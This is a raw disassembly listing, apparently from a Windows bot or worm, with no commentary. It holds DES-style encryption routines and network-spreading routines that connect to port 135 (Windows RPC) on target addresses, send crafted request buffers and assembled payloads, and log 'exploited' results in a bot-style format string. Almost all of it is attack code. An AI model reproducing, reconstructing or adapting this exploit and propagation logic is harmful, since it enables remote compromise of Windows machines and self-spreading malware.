mov bl, [ebp+edi+var_74]
jmp short loc_4034FB
; ---------------------------------------------------------------------------
loc_4034F4: ; CODE XREF: sub_403476+76j
mov bl, [ebp+edi+var_90]
loc_4034FB: ; CODE XREF: sub_403476+7Cj
mov [ebp+edx+var_3C], bl
inc edx
inc edi
cmp edx, 1Ch
jl short loc_4034E9
push 1Ch
pop edi
add eax, edi
loc_40350B: ; CODE XREF: sub_403476+B0j
cmp eax, 38h
jge short loc_403516
mov dl, [ebp+eax+var_74]
jmp short loc_40351D
; ---------------------------------------------------------------------------
loc_403516: ; CODE XREF: sub_403476+98j
mov dl, [ebp+eax+var_90]
loc_40351D: ; CODE XREF: sub_403476+9Ej
mov [ebp+edi+var_3C], dl
inc edi
inc eax
cmp edi, 38h
jl short loc_40350B
xor ebx, ebx
xor eax, eax
loc_40352C: ; CODE XREF: sub_403476+E5j
lea edx, dword_43AE60[eax]
movzx edi, byte ptr [edx-18h]
cmp [ebp+edi+var_3C], bl
jz short loc_403545
mov edi, dword_43ADA0[eax*4]
or [esi], edi
loc_403545: ; CODE XREF: sub_403476+C4j
movzx edx, byte ptr [edx]
cmp [ebp+edx+var_3C], bl
jz short loc_403557
mov edx, dword_43ADA0[eax*4]
or [ecx], edx
loc_403557: ; CODE XREF: sub_403476+D6j
inc eax
cmp eax, 18h
jl short loc_40352C
sub [ebp+var_4], 2
inc [ebp+arg_0]
cmp [ebp+var_4], 0FFFFFFFEh
jg loc_4034B9
lea eax, [ebp+var_F4]
push eax
call sub_403580
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_403476 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403580 proc near ; CODE XREF: sub_403476+FFp
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
lea edx, [ebp+var_84]
mov [ebp+var_4], 10h
loc_403599: ; CODE XREF: sub_403580+8Dj
mov eax, [ebp+arg_0]
add [ebp+arg_0], 4
mov ecx, [ebp+arg_0]
add [ebp+arg_0], 4
mov eax, [eax]
mov ecx, [ecx]
mov esi, eax
and esi, 0FC0h
mov edi, eax
shl esi, 4
and edi, 0FC0000h
mov ebx, ecx
or esi, edi
mov edi, ecx
shr edi, 4
and edi, 0FC000h
and ebx, 0FC0h
or edi, ebx
shl esi, 6
shr edi, 6
or esi, edi
mov [edx], esi
mov esi, eax
and esi, 3Fh
and eax, 3F000h
shl esi, 4
or esi, eax
mov eax, ecx
shr eax, 4
shl esi, 0Ch
and eax, 3F00h
and ecx, 3Fh
or esi, eax
add edx, 4
or esi, ecx
mov [edx], esi
add edx, 4
dec [ebp+var_4]
jnz short loc_403599
lea eax, [ebp+var_84]
push eax
call sub_403621
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_403580 endp
; =============== S U B R O U T I N E =======================================
sub_403621 proc near ; CODE XREF: sub_403580+96p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, offset dword_454A38
loc_40362A: ; CODE XREF: sub_403621+18j
mov edx, [ecx]
add ecx, 4
mov [eax], edx
add eax, 4
cmp eax, offset dword_454AB8
jb short loc_40362A
retn
sub_403621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40363C proc near ; CODE XREF: sub_407F26+49p
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_40366C
lea eax, [ebp+var_8]
push offset dword_454A38
push eax
call sub_4036F2
push [ebp+arg_4]
lea eax, [ebp+var_8]
push eax
call sub_4036B9
add esp, 18h
leave
retn
sub_40363C endp
; =============== S U B R O U T I N E =======================================
sub_40366C proc near ; CODE XREF: sub_40363C+Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
movzx edx, byte ptr [ecx]
shl edx, 18h
inc ecx
mov [eax], edx
movzx edx, byte ptr [ecx]
shl edx, 10h
or [eax], edx
inc ecx
xor edx, edx
mov dh, [ecx]
or [eax], edx
inc ecx
movzx edx, byte ptr [ecx]
or [eax], edx
inc ecx
add eax, 4
movzx edx, byte ptr [ecx]
shl edx, 18h
inc ecx
mov [eax], edx
movzx edx, byte ptr [ecx]
shl edx, 10h
or [eax], edx
inc ecx
xor edx, edx
mov dh, [ecx]
or [eax], edx
mov edx, [eax]
movzx ecx, byte ptr [ecx+1]
or ecx, edx
mov [eax], ecx
retn
sub_40366C endp
; =============== S U B R O U T I N E =======================================
sub_4036B9 proc near ; CODE XREF: sub_40363C+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
mov dl, [ecx+3]
mov [eax], dl
mov dl, [ecx+2]
inc eax
mov [eax], dl
mov dl, [ecx+1]
inc eax
mov [eax], dl
mov dl, [ecx]
inc eax
add ecx, 4
mov [eax], dl
mov dl, [ecx+3]
inc eax
mov [eax], dl
mov dl, [ecx+2]
inc eax
mov [eax], dl
mov dl, [ecx+1]
inc eax
mov [eax], dl
mov cl, [ecx]
mov [eax+1], cl
retn
sub_4036B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036F2 proc near ; CODE XREF: sub_40363C+1Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov edx, [eax]
mov ecx, [eax+4]
mov eax, edx
mov esi, 0F0F0F0Fh
shr eax, 4
mov edi, ecx
and eax, esi
and edi, esi
mov [ebp+var_4], 8
xor eax, edi
xor ecx, eax
shl eax, 4
xor edx, eax
mov esi, ecx
mov eax, edx
and esi, 0FFFFh
shr eax, 10h
xor eax, esi
mov esi, 33333333h
xor ecx, eax
shl eax, 10h
xor edx, eax
mov eax, ecx
shr eax, 2
mov edi, edx
and eax, esi
and edi, esi
mov esi, 0FF00FFh
xor eax, edi
xor edx, eax
shl eax, 2
xor ecx, eax
mov edi, edx
mov eax, ecx
and edi, esi
shr eax, 8
and eax, esi
xor eax, edi
xor edx, eax
shl eax, 8
xor ecx, eax
mov eax, ecx
add ecx, ecx
shr eax, 1Fh
or eax, ecx
mov ecx, eax
xor ecx, edx
and ecx, 0AAAAAAAAh
xor edx, ecx
xor eax, ecx
mov ecx, edx
add edx, edx
shr ecx, 1Fh
or ecx, edx
loc_403789: ; CODE XREF: sub_4036F2+1BAj
mov edi, [ebp+arg_4]
mov esi, eax
mov edx, eax
shl esi, 1Ch
shr edx, 4
or esi, edx
xor esi, [edi]
add edi, 4
mov edx, esi
mov ebx, esi
shr edx, 18h
and edx, 3Fh
shr ebx, 10h
mov edx, dword_43AE78[edx*4]
and ebx, 3Fh
or edx, dword_43B078[ebx*4]
mov ebx, esi
shr ebx, 8
and ebx, 3Fh
and esi, 3Fh
or edx, dword_43B278[ebx*4]
or edx, dword_43B478[esi*4]
mov esi, [edi]
add edi, 4
xor esi, eax
mov [ebp+arg_4], edi
mov edi, esi
shr edi, 18h
mov ebx, esi
and edi, 3Fh
shr ebx, 10h
mov edi, dword_43AF78[edi*4]
and ebx, 3Fh
or edi, dword_43B178[ebx*4]
mov ebx, esi
shr ebx, 8
and ebx, 3Fh
and esi, 3Fh
or edi, dword_43B378[ebx*4]
or edi, dword_43B578[esi*4]
or edi, edx
xor ecx, edi
mov edi, [ebp+arg_4]
mov esi, ecx
mov edx, ecx
shl esi, 1Ch
shr edx, 4
or esi, edx
xor esi, [edi]
add edi, 4
mov edx, esi
mov ebx, esi
shr edx, 18h
and edx, 3Fh
shr ebx, 10h
mov edx, dword_43AE78[edx*4]
and ebx, 3Fh
or edx, dword_43B078[ebx*4]
mov ebx, esi
shr ebx, 8
and ebx, 3Fh
and esi, 3Fh
or edx, dword_43B278[ebx*4]
or edx, dword_43B478[esi*4]
mov esi, [edi]
add edi, 4
xor esi, ecx
mov [ebp+arg_4], edi
mov edi, esi
shr edi, 18h
mov ebx, esi
and edi, 3Fh
shr ebx, 10h
mov edi, dword_43AF78[edi*4]
and ebx, 3Fh
or edi, dword_43B178[ebx*4]
mov ebx, esi
shr ebx, 8
and ebx, 3Fh
or edi, dword_43B378[ebx*4]
and esi, 3Fh
or edi, dword_43B578[esi*4]
or edi, edx
xor eax, edi
dec [ebp+var_4]
jnz loc_403789
mov edx, eax
shl edx, 1Fh
shr eax, 1
or edx, eax
mov eax, edx
xor eax, ecx
and eax, 0AAAAAAAAh
xor ecx, eax
xor edx, eax
mov esi, ecx
mov edi, edx
shl esi, 1Fh
shr ecx, 1
or esi, ecx
mov ecx, 0FF00FFh
mov eax, esi
and edi, ecx
shr eax, 8
and eax, ecx
mov ecx, 33333333h
xor eax, edi
xor edx, eax
shl eax, 8
xor esi, eax
mov edi, edx
mov eax, esi
and edi, ecx
shr eax, 2
and eax, ecx
xor eax, edi
xor edx, eax
shl eax, 2
xor esi, eax
mov eax, edx
mov ecx, esi
shr eax, 10h
and ecx, 0FFFFh
xor eax, ecx
mov ecx, 0F0F0F0Fh
xor esi, eax
shl eax, 10h
xor edx, eax
mov edi, esi
mov eax, edx
and edi, ecx
shr eax, 4
and eax, ecx
mov ecx, [ebp+arg_0]
xor eax, edi
mov edi, eax
shl edi, 4
xor edi, edx
xor eax, esi
mov [ecx], edi
pop edi
pop esi
mov [ecx+4], eax
pop ebx
leave
retn
sub_4036F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403941 proc near ; CODE XREF: sub_403B6C+9Ap
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_C4 = dword ptr 0CCh
arg_C8 = dword ptr 0D0h
push ebp
mov ebp, esp
mov eax, 2004h
call sub_429A90
push esi
push edi
mov edi, dword_43BB98
mov esi, 0A7h
test edi, edi
mov [ebp+var_4], esi
jnz short loc_403969
xor eax, eax
jmp loc_403B68
; ---------------------------------------------------------------------------
loc_403969: ; CODE XREF: sub_403941+1Fj
push ebx
push 30h
lea eax, [ebp+var_2004]
push offset off_43BAB4
push eax
call sub_429350
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_429690
mov ebx, offset dword_43A8E8
push edi
lea eax, [ebp+var_1F2D]
push ebx
push eax
call sub_429350
lea esi, [edi+0D7h]
jmp short loc_4039E3
; ---------------------------------------------------------------------------
loc_4039A7: ; CODE XREF: sub_403941+B0j
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push offset off_43BAB4
push eax
mov [ebp+var_4], esi
call sub_429350
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_429690
push edi
lea eax, [ebp+esi+var_1FD4]
push ebx
push eax
call sub_429350
lea esi, [esi+edi+30h]
loc_4039E3: ; CODE XREF: sub_403941+64j
add esp, 24h
mov eax, esi
cdq
push 10h
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_4039A7
cmp [ebp+arg_C8], 3
jnz short loc_403A12
push 4
lea eax, [ebp+var_1FE0]
push offset dword_43BB94
push eax
call sub_429350
add esp, 0Ch
loc_403A12: ; CODE XREF: sub_403941+B9j
cmp [ebp+arg_C8], 2
jnz short loc_403A31
push 4
lea eax, [ebp+var_1FE0]
push offset dword_43BB90
push eax
call sub_429350
add esp, 0Ch
loc_403A31: ; CODE XREF: sub_403941+D8j
push 360h
lea eax, [ebp+var_1004]
push offset dword_43B6C8
push eax
call sub_429350
push 10h
lea eax, [ebp+var_CA4]
push offset dword_43BA2C
push eax
call sub_429350
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_429350
lea edi, [esi+370h]
push 3Ch
push offset off_43BA40
lea eax, [ebp+edi+var_1004]
push eax
call sub_429350
add edi, 3Ch
push 30h
push offset dword_43BA80
lea eax, [ebp+edi+var_1004]
push eax
call sub_429350
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_4296E8
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_429690
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_429350
mov eax, [ebp+arg_C4]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_403B68: ; CODE XREF: sub_403941+23j
pop edi
pop esi
leave
retn
sub_403941 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B6C proc near ; CODE XREF: sub_402646+174p
; sub_406D50+1C5p
; DATA XREF: ...
var_101C = byte ptr -101Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 101Ch
call sub_429A90
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
push 1
push eax
call sub_4044F6
mov esi, eax
xor ebx, ebx
pop ecx
cmp esi, ebx
pop ecx
jnz short loc_403BA0
lea eax, [ebp+arg_8]
push 5
push eax
call sub_4044F6
pop ecx
mov esi, eax
pop ecx
loc_403BA0: ; CODE XREF: sub_403B6C+23j
cmp esi, 9
jz loc_403C7B
push ebx
push 1
push 2
call dword_456FB0 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403C7B
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_1C], 2
push 87h
call dword_456F18 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+arg_8]
push eax
call dword_456F5C ; inet_addr
mov [ebp+var_18], eax
lea eax, [ebp+var_C]
push esi
push eax
sub esp, 0C4h
lea esi, [ebp+arg_8]
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_403941
mov edi, eax
add esp, 0CCh
cmp edi, ebx
mov [ebp+var_8], edi
jnz short loc_403C1F
push [ebp+var_4]
jmp short loc_403C75
; ---------------------------------------------------------------------------
loc_403C1F: ; CODE XREF: sub_403B6C+ACj
mov esi, [ebp+var_4]
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_403C6D
push ebx
push 48h
push offset dword_43B678
push esi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_403C6D
push ebx
lea eax, [ebp+var_101C]
push 1000h
push eax
push esi
call dword_456F38 ; recv
push ebx
push [ebp+var_C]
push edi
push esi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403C82
loc_403C6D: ; CODE XREF: sub_403B6C+C6j
; sub_403B6C+DAj
push edi
call sub_429822
pop ecx
push esi
loc_403C75: ; CODE XREF: sub_403B6C+B1j
call dword_456FD0 ; closesocket
loc_403C7B: ; CODE XREF: sub_403B6C+37j
; sub_403B6C+4Ej
xor eax, eax
jmp loc_403D50
; ---------------------------------------------------------------------------
loc_403C82: ; CODE XREF: sub_403B6C+FFj
push 7D0h
call dword_43718C ; Sleep
movzx eax, word_443986
push eax
lea esi, [ebp+arg_8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
add esp, 0C8h
test eax, eax
jz short loc_403D31
mov edx, [ebp+arg_B4]
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov eax, edx
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
shl eax, 6
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+arg_C4], ebx
mov ecx, [ecx]
jz short loc_403D05
cmp [ebp+arg_BC], ebx
jnz short loc_403D0D
push ecx
lea ecx, [ebp+arg_8]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
mov edx, [ebp+arg_B4]
add esp, 1Ch
loc_403D05: ; CODE XREF: sub_403B6C+16Dj
cmp [ebp+arg_BC], ebx
jz short loc_403D31
loc_403D0D: ; CODE XREF: sub_403B6C+175j
shl edx, 6
lea eax, [ebp+arg_8]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
loc_403D31: ; CODE XREF: sub_403B6C+146j
; sub_403B6C+19Fj
push [ebp+var_8]
call sub_429822
pop ecx
push [ebp+var_4]
call dword_456FD0 ; closesocket
lea eax, [ebp+arg_8]
push eax
call sub_401E8E
xor eax, eax
pop ecx
inc eax
loc_403D50: ; CODE XREF: sub_403B6C+111j
pop edi
pop esi
pop ebx
leave
retn
sub_403B6C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 197Ch
call sub_429A90
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
call sub_429690
push 2
lea eax, [ebp+10h]
pop esi
push eax
mov [ebp-14h], si
call sub_41E326
add esp, 10h
mov [ebp-10h], eax
push 87h
call dword_4372C0
push edi
push edi
push edi
push 6
push 1
push esi
mov [ebp-12h], ax
call dword_4372C4
mov ebx, eax
cmp ebx, edi
mov [ebp-4], ebx
jnz short loc_403DB6
push edi
call dword_437170 ; ExitThread
loc_403DB6: ; CODE XREF: ?9:00403DADj
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_4372C8
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_403DCF
call dword_437170 ; ExitThread
loc_403DCF: ; CODE XREF: ?9:00403DC7j
push 48h
push offset dword_43BBA0
push ebx
call dword_4372CC
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_403DE9
call dword_437170 ; ExitThread
loc_403DE9: ; CODE XREF: ?9:00403DE1j
lea eax, [ebp-197Ch]
push 1000h
push eax
push ebx
call dword_4372D0
cmp eax, 0FFFFFFFFh
jnz short loc_403E08
push edi
call dword_437170 ; ExitThread
loc_403E08: ; CODE XREF: ?9:00403DFFj
mov ebx, 168h
loc_403E0D: ; CODE XREF: ?9:00403E22j
push 5Ah
push 41h
call sub_41E34F
mov [ebp+edi-17Ch], al
inc edi
pop ecx
cmp edi, ebx
pop ecx
jl short loc_403E0D
push 0Ah
lea eax, [ebp-90h]
push offset loc_43BC90
push eax
call sub_429350
push esi
lea eax, [ebp-86h]
push offset loc_43BCE0
push eax
call sub_429350
push 4
lea eax, [ebp-82h]
pop edi
push edi
push offset loc_43BCD8
push eax
call sub_429350
push esi
lea eax, [ebp-4Ah]
push offset loc_43BCDC
push eax
call sub_429350
push edi
lea eax, [ebp-46h]
push (offset loc_43BCD3+1)
push eax
call sub_429350
push 0Bh
lea eax, [ebp-42h]
push offset loc_43BC84
push eax
call sub_429350
add esp, 48h
lea eax, [ebp-97Ch]
push 18h
push offset dword_43BBEC
push eax
call sub_429350
push 44h
lea eax, [ebp-964h]
push offset dword_43BC08
push eax
call sub_429350
mov esi, 90h
push 20h
lea eax, [ebp-920h]
push esi
push eax
call sub_429690
push edi
lea eax, [ebp-900h]
push offset loc_43BC9C
push eax
call sub_429350
push edi
lea eax, [ebp-8FCh]
push offset loc_43BCD0
push eax
call sub_429350
push edi
lea eax, [ebp-8F8h]
push offset dword_43BCC8
push eax
call sub_429350
add esp, 48h
lea eax, [ebp-8F4h]
push edi
push offset loc_43BCCC
push eax
call sub_429350
push 58h
lea eax, [ebp-8F0h]
push esi
push eax
call sub_429690
push 6
lea eax, [ebp-898h]
push offset loc_43BCA4
push eax
call sub_429350
push 8
lea eax, [ebp-892h]
push esi
push eax
call sub_429690
push edi
lea eax, [ebp-88Ah]
push offset loc_43BCAC
push eax
call sub_429350
push edi
lea eax, [ebp-886h]
push esi
push eax
call sub_429690
add esp, 48h
lea eax, [ebp-882h]
push 6
push offset loc_43BCB4
push eax
call sub_429350
push 28Eh
lea eax, [ebp-87Ch]
push esi
push eax
call sub_429690
push 158h
lea eax, [ebp-5EEh]
push offset dword_43A8E8
push eax
call sub_429350
lea eax, [ebp-17Ch]
push ebx
push eax
lea eax, [ebp-496h]
push eax
call sub_429350
push 0Ah
lea eax, [ebp-32Eh]
push offset off_43BCBC
push eax
call sub_429350
push 32h
lea eax, [ebp-324h]
push offset dword_43BC50
push eax
call sub_429350
add esp, 48h
xor ebx, ebx
mov eax, 68Ah
mov dword ptr [ebp-96Ch], 672h
push ebx
mov [ebp-974h], eax
push eax
lea eax, [ebp-97Ch]
push eax
push dword ptr [ebp-4]
call dword_4372CC
cmp eax, 0FFFFFFFFh
jnz short loc_404015
push ebx
loc_40400F: ; DATA XREF: ?9:0043B3E0o
call dword_437170 ; ExitThread
loc_404015: ; CODE XREF: ?9:0040400Cj
movzx eax, word_443986
push eax
lea esi, [ebp+10h]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
add esp, 0C8h
test eax, eax
jz loc_4040C8
push 7D0h
call dword_43718C ; Sleep
mov edx, [ebp+0BCh]
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov eax, edx
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
shl eax, 6
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+0CCh], ebx
mov ecx, [ecx]
jz short loc_40409C
cmp [ebp+0C4h], ebx
jnz short loc_4040A4
push ecx
lea ecx, [ebp+10h]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD84
mov edx, [ebp+0BCh]
add esp, 1Ch
loc_40409C: ; CODE XREF: ?9:00404070j
cmp [ebp+0C4h], ebx
jz short loc_4040C8
loc_4040A4: ; CODE XREF: ?9:00404078j
shl edx, 6
lea eax, [ebp+10h]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD0E
add esp, 1Ch
loc_4040C8: ; CODE XREF: ?9:0040403Aj ?9:004040A2j
push ebx
lea eax, [ebp-197Ch]
push 1000h
push eax
push dword ptr [ebp-4]
call dword_4372D0
cmp eax, 0FFFFFFFFh
jnz short loc_4040EA
push ebx
call dword_437170 ; ExitThread
loc_4040EA: ; CODE XREF: ?9:004040E1j
push dword ptr [ebp-4]
call dword_4372D4
lea eax, [ebp+10h]
push eax
call sub_401E8E
pop ecx
push 1
call dword_437170 ; ExitThread
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404105 proc near ; CODE XREF: sub_406D50+25Fp
var_3020 = byte ptr -3020h
var_2020 = byte ptr -2020h
var_1FFC = byte ptr -1FFCh
var_1FF0 = byte ptr -1FF0h
var_1EA2 = byte ptr -1EA2h
var_1020 = byte ptr -1020h
var_1018 = dword ptr -1018h
var_1010 = dword ptr -1010h
var_FA0 = dword ptr -0FA0h
var_F9C = dword ptr -0F9Ch
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F50 = dword ptr -0F50h
var_E94 = dword ptr -0E94h
var_CC0 = dword ptr -0CC0h
var_CB8 = dword ptr -0CB8h
var_CB0 = byte ptr -0CB0h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3020h
call sub_429A90
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
mov esi, 0A7h
push 1
push eax
mov [ebp+var_C], esi
call sub_4044F6
pop ecx
mov [ebp+var_4], eax
test eax, eax
pop ecx
jnz short loc_404141
lea eax, [ebp+arg_8]
push 5
push eax
call sub_4044F6
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_404141: ; CODE XREF: sub_404105+2Aj
cmp [ebp+var_4], 1
jz loc_4044A2
cmp [ebp+var_4], 9
jz loc_4044A2
push 6
push 1
push 2
call dword_456FB0 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jz loc_4044A2
push 10h
lea eax, [ebp+var_20]
push 0
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_20], 2
push 87h
call dword_456F18 ; ntohs
mov [ebp+var_1E], ax
lea eax, [ebp+arg_8]
push eax
call dword_456F5C ; inet_addr
mov [ebp+var_1C], eax
push 30h
lea eax, [ebp+var_2020]
push offset off_43C124
push eax
call sub_429350
push esi
lea eax, [ebp+var_1FF0]
push 0FFFFFF90h
push eax
call sub_429690
mov ebx, 158h
mov edi, offset dword_43A8E8
push ebx
lea eax, [ebp+var_1EA2]
push edi
push eax
call sub_429350
add esp, 24h
mov esi, 2D6h
loc_4041E1: ; CODE XREF: sub_404105+13Aj
inc esi
push esi
call sub_4296E8
mov esi, [ebp+var_C]
mov [ebp+var_10], eax
push 30h
lea eax, [ebp+var_2020]
inc esi
push offset off_43C124
push eax
mov [ebp+var_C], esi
call sub_429350
push esi
lea eax, [ebp+var_1FF0]
push 0FFFFFF90h
push eax
call sub_429690
push ebx
lea eax, [ebp+esi+var_1FF0]
push edi
push eax
call sub_429350
push [ebp+var_10]
add esi, 188h
call sub_429822
add esp, 2Ch
mov eax, esi
cdq
push 10h
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_4041E1
cmp [ebp+var_4], 3
jnz short loc_40425D
push 4
lea eax, [ebp+var_1FFC]
push offset dword_43C204
push eax
call sub_429350
add esp, 0Ch
loc_40425D: ; CODE XREF: sub_404105+140j
cmp [ebp+var_4], 2
jnz short loc_404279
push 4
lea eax, [ebp+var_1FFC]
push offset dword_43C200
push eax
call sub_429350
add esp, 0Ch
loc_404279: ; CODE XREF: sub_404105+15Cj
push 360h
lea eax, [ebp+var_1020]
push offset dword_43BD38
push eax
call sub_429350
push 10h
lea eax, [ebp+var_CC0]
push offset dword_43C09C
push eax
call sub_429350
lea eax, [ebp+var_2020]
push esi
push eax
lea eax, [ebp+var_CB0]
push eax
call sub_429350
lea edi, [esi+370h]
push 3Ch
push offset off_43C0B0
lea eax, [ebp+edi+var_1020]
push eax
call sub_429350
add edi, 3Ch
push 30h
push offset dword_43C0F0
lea eax, [ebp+edi+var_1020]
push eax
call sub_429350
mov eax, esi
add esp, 3Ch
cdq
sub eax, edx
push 10h
sar eax, 1
add [ebp+var_CC0], eax
add [ebp+var_CB8], eax
mov eax, [ebp+var_1018]
lea eax, [eax+esi-0Ch]
mov [ebp+var_1018], eax
mov eax, [ebp+var_1010]
lea eax, [eax+esi-0Ch]
mov [ebp+var_1010], eax
mov eax, [ebp+var_FA0]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FA0], eax
mov eax, [ebp+var_F9C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F9C], eax
mov eax, [ebp+var_F6C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F6C], eax
mov eax, [ebp+var_F68]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F68], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_E94]
lea eax, [eax+esi-0Ch]
mov esi, [ebp+var_8]
mov [ebp+var_E94], eax
lea eax, [ebp+var_20]
push eax
push esi
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_404398
loc_404392: ; CODE XREF: sub_404105+2A7j
; sub_404105+2D3j
push esi
jmp loc_40449C
; ---------------------------------------------------------------------------
loc_404398: ; CODE XREF: sub_404105+28Bj
xor ebx, ebx
push ebx
push 48h
push offset byte_43BCE8
push esi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_404392
push ebx
lea eax, [ebp+var_3020]
push 1000h
push eax
push esi
call dword_456F38 ; recv
add edi, 30h
push ebx
lea eax, [ebp+var_1020]
push edi
push eax
push esi
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_404392
